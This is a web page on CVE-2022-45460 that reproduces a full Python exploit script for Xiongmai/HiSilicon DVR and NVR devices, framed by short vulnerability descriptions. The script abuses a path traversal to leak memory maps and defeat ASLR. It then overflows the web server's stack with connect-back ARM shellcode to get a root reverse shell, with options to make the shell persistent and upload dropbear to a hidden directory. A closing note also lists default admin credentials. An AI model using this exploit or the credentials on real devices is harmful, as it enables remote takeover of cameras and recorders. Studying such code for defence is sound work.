Headline
CVE-2022-45460: pwn-hisilicon-dvr/pwn_hisilicon_dvr.py at master · tothi/pwn-hisilicon-dvr
Multiple Xiongmai NVR devices, including MBD6304T V4.02.R11.00000117.10001.131900.00000 and NBD6808T-PL V4.02.R11.C7431119.12001.130000.00000, allow an unauthenticated and remote user to exploit a stack-based buffer overflow and crash the web server, resulting in a system reboot. An unauthenticated and remote attacker can execute arbitrary code by sending a crafted HTTP request that triggers the overflow condition via a long URI passed to a sprintf call. NOTE: this is different than CVE-2018-10088, but this may overlap CVE-2017-16725.
#!/usr/bin/env python2 # # pwn hisilicon dvr web service # from pwn import * from time import sleep import re import argparse import os parser = argparse.ArgumentParser(description=’exploit HiSilicon DVR devices’) parser.add_argument('–rhost’, help=’target host’, required=True) parser.add_argument('–rport’, help=’target port’, default=80) parser.add_argument('–lhost’, help=’connectback ip’, required=True) parser.add_argument('–lport’, help=’connectback port’, default=31337) parser.add_argument('–bhost’, help=’listen ip to bind (default: connectback)') parser.add_argument('–bport’, help=’listen port to bind (default: connectback)') parser.add_argument('-n’, '–nolisten’, help=’do not start listener (you should care about connectback listener on your own)‘, action=’store_true’) parser.add_argument('-i’, '–interactive’, help=’select stack memory region interactively (rather than using autodetection)‘, action=’store_true’) parser.add_argument('-p’, '–persistent’, help=’make connectback shell persistent by restarting dvr app automatically (DANGEROUS!)‘, action=’store_true’) parser.add_argument('-u’, ‘–upload’, help=’upload tools (now hardcoded “./tools/dropbear” in script) after pwn’, action=’store_true’) parser.add_argument('–offset’, help=’exploit param stack offset to mem page base (default: 0x7fd3d8)', default=0x7fd3d8) parser.add_argument('–cmdline’, help=’cmdline of Sofia binary on remote target (default “/var/Sofia”)‘, default=’/var/Sofia’) args = parser.parse_args() target_host = args.rhost target_port = int(args.rport) sofia_cmdline = args.cmdline if args.interactive: getleak_interactive = True else: getleak_interactive = False if args.persistent: shell_persistent = True else: shell_persistent = False if args.upload: shell_upload = True else: shell_upload = False connectback_host = args.lhost connectback_port = int(args.lport) if args.bhost: listen_host = args.bhost else: listen_host = connectback_host if args.bport: listen_port = int(args.bport) else: listen_port = connectback_port “"” vuln1: bof in httpd ------------------- buffer overflow in builtin webserver binary `Sofia` which can be exploited to run shellcode (as root) on the device. PoC payload to cause a segfault: payload = "GET " + “a"*299 + “xxxx” + " HTTP” note, that in “xxxx” we can control pc register (program flow)! there is no nx enabled, so executing shellcode in place of "a"*299 is possible. however, stack address leak is needed to defeat aslr. vuln2: path traversal vuln in httpd ----------------------------------- builtin webserver has a directory path traversal vulnerability which can be exploited to leak arbitrary files. note, that the webserver binary `Sofia` is running as root, so exploiting this arbitrary file can be read from device fs. PoC request “GET …/…/etc/passwd HTTP” reads file "/etc/passwd". Furthermore, dir listing is enabled as well. by exploiting vuln2 we can defeat aslr needed to exploit vuln1. namely, filesystem at /proc contains lots of information about running processes, e.g. contains memory mappings: request “GET …/…/proc/[pid]/maps HTTP” reads memory mapping of process with pid [pid]. obverving the memory mapping patterns usually enough to defeat aslr (offset from mem map base is the same, even in different versions). “"” # get pid of running dvr binary ‘/var/Sofia’ def findpid(): with log.progress(‘getting pidlist’) as logp: c = context.log_level context.log_level = ‘error’ r = remote(target_host, target_port) r.sendline(‘GET …/…/proc HTTP’) pids = [] for line in r.recvall().splitlines(): res = re.match(r’.*\.\./\.\./proc/([0-9]+)"’, line) if res: pids.append(int(res.group(1))) r.close() context.log_level = c logp.success(‘found %d processes’ % len(pids)) with log.progress(“searching for PID of '%s’” % sofia_cmdline) as logp: pid_sofia = None pids.sort(reverse=True) for pid in pids: logp.status(str(pid)) c = context.log_level context.log_level = ‘error’ r = remote(target_host, target_port) r.sendline(‘GET …/…/proc/%d/cmdline HTTP’ % pid) resp = r.recvall().splitlines() r.close() context.log_level = c if sofia_cmdline + ‘\x00’ == resp[-1]: pid_sofia = pid logp.success(str(pid_sofia)) break if not pid_sofia: logp.failure(‘did not found’) return pid_sofia def getmodelnumber(): c = context.log_level context.log_level = ‘error’ r = remote(target_host, target_port) r.sendline(‘GET …/…/mnt/custom/ProductDefinition HTTP’) for l in r.recvall(timeout=5).decode(‘ascii’).replace(',’, ‘\n’).splitlines(): if “Hardware” in l: modelnumber = l.split(“:”)[1].split(‘"’)[1] r.close() context.log_level = c return modelnumber def guessregion(smaps): for t in range(len(smaps)-7, 1, -1): if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8: return (t+3) return (-1) # getting stack section base address # ‘k’ defines the section which contains the stack def getleak(pid, interactive): with log.progress(“getting stack section base”) as logp: c = context.log_level context.log_level = ‘error’ r = remote(target_host, target_port) r.sendline(‘GET …/…/proc/%d/smaps HTTP’ % pid) smaps = [] memStart = False for line in r.recvall().splitlines(): if memStart: t += (int(line.split()[1]),) i += 1 #if i >= 14: if i >= 7: smaps.append((memStart, t)) memStart = False if ‘rwxp’ in line: memStart = int(line.split('-')[0], 16) i = 0 t = () guess = guessregion(smaps) if guess < 0 or interactive: j = 0 for i in smaps: print (j, hex(i[0]), i[1:]) j += 1 k = int(raw_input('enter stack region id (guessed value = %d): ' % guess)) else: k = guess leak = smaps[k][0] r.close() context.log_level = c logp.success(hex(leak)) return leak # connectback shellcode # badchars: 0x00, 0x0d, 0x20, 0x3f, 0x26 def shellcode(lhost, lport): badchars = [0x00, 0x0d, 0x20, 0x3f, 0x26] badchars = map(chr, badchars) xscode = “01108fe211ff” xscode += “2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba10223” xscode += “0b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b4” xscode += “69460b2701df0121081c01dfc046ffff7a69c0a858642f62696e2f736858” xscode += “ffffc046efbeadde” h = lambda x: hex(int(x))[2:] h2 = lambda x: h(x).zfill(2) xscode = xscode[:164] + h(lport+0x100).zfill(4) + '’.join(map(h2, lhost.split(‘.’))) + xscode[176:] xscode = xscode.decode(‘hex’) for badchar in badchars: if badchar in xscode: raise NameError(‘badchar %s in shellcode!’ % hex(ord(badchar))) return xscode def restart_dvrapp©: with log.progress(‘restarting dvr application’) as logp: logp.status(‘looking up dvrhelper process’) c.sendline(‘ps’) cmdline = ‘’ while not ‘dvrHelper’ in cmdline: cmdline = c.recvline() cmdline = cmdline.split() while not ‘ps’ in c.recvline(): pass sleep(1) logp.status(‘killing dvrhelper’) c.sendline(‘kill %s’ % cmdline[0]) sleep(1) cmdline_dvrhelper = ' ‘.join(cmdline[4:]) logp.status(‘starting dvrhelper: %s’ % cmdline_dvrhelper) c.sendline(cmdline_dvrhelper + ' 2>/dev/null &’) sleep(1) c.recvuntil(sofia_cmdline) c.recvline() def upload_tools©: with log.progress(‘uploading tools to /var/.tools’) as logp: logp.status(‘creating dir’) c.sendline(‘rm -fr /var/.tools’) sleep(1) c.sendline(‘mkdir /var/.tools’) sleep(1) tools = [‘dropbear’] upload_blocksize = 1024 for tool in tools: toolsize = os.path.getsize(‘./tools/%s’ % tool) b = 0 fp = open(“./tools/%s” % tool, “rb”) for chunk in iter(lambda: fp.read(upload_blocksize), ‘’): chunkhex = '’.join(['\\x’+chunk.encode(‘hex’)[i:i+2].zfill(2) for i in range(0, len(chunk)*2, 2)]) c.sendline(“echo -n -e ‘%s’ >> /var/.tools/%s” % (chunkhex, tool)) b += len(chunk) logp.status(‘%s: %d/%d’ % (tool, b, toolsize)) sleep(0.1) fp.close() c.sendline(‘chmod +x /var/.tools/%s’ % tool) sleep(1) logp.success(' '.join(tools)) log.info(‘target is %s:%d’ % (target_host, target_port)) if not args.nolisten: log.info(‘connectback on %s:%d’ % (listen_host, listen_port)) with log.progress(“assembling shellcode”) as logp: xscode = shellcode(connectback_host, connectback_port) logp.success(“done. length is %d bytes” % len(xscode)) with log.progress(“identifying model number”) as logp: modelnumber = getmodelnumber() logp.success(modelnumber) log.info(‘exploiting dir path traversal of web service to get leak addresses’) stack_section_base = getleak(findpid(), getleak_interactive) stack_offset = args.offset stack_20 = stack_section_base + stack_offset + 20 log.info('shellcode address is ' + hex(stack_20)) payload = “GET " payload += xscode payload += “a” * (299 - len(xscode)) payload += p32(stack_20) payload += " HTTP” log.info(‘exploiting buffer overflow in web service url path’) log.info(‘remote shell should gained by connectback shellcode!’) if not args.nolisten: l = listen(bindaddr=listen_host, port=listen_port, timeout=5) c = l.wait_for_connection() r = remote(target_host, target_port) r.sendline(payload) r.recvall(timeout=5) r.close() if not args.nolisten: if shell_persistent: restart_dvrapp© if shell_upload: upload_tools© c.interactive()
Related news
Multiple Xiongmai NVR devices, including MBD6304T V4.02.R11.00000117.10001.131900.00000 and NBD6808T-PL V4.02.R11.C7431119.12001.130000.00000, allow authenticated users to execute arbitrary commands as root, as exploited in the wild starting in approximately 2019. A remote and authenticated attacker, possibly using the default admin:tlJwpbo6 credentials, can connect to port 34567 and execute arbitrary operating system commands via a crafted JSON file during an upgrade request. Since at least 2021, Xiongmai has applied patches to prevent attackers from using this mechanism to execute telnetd.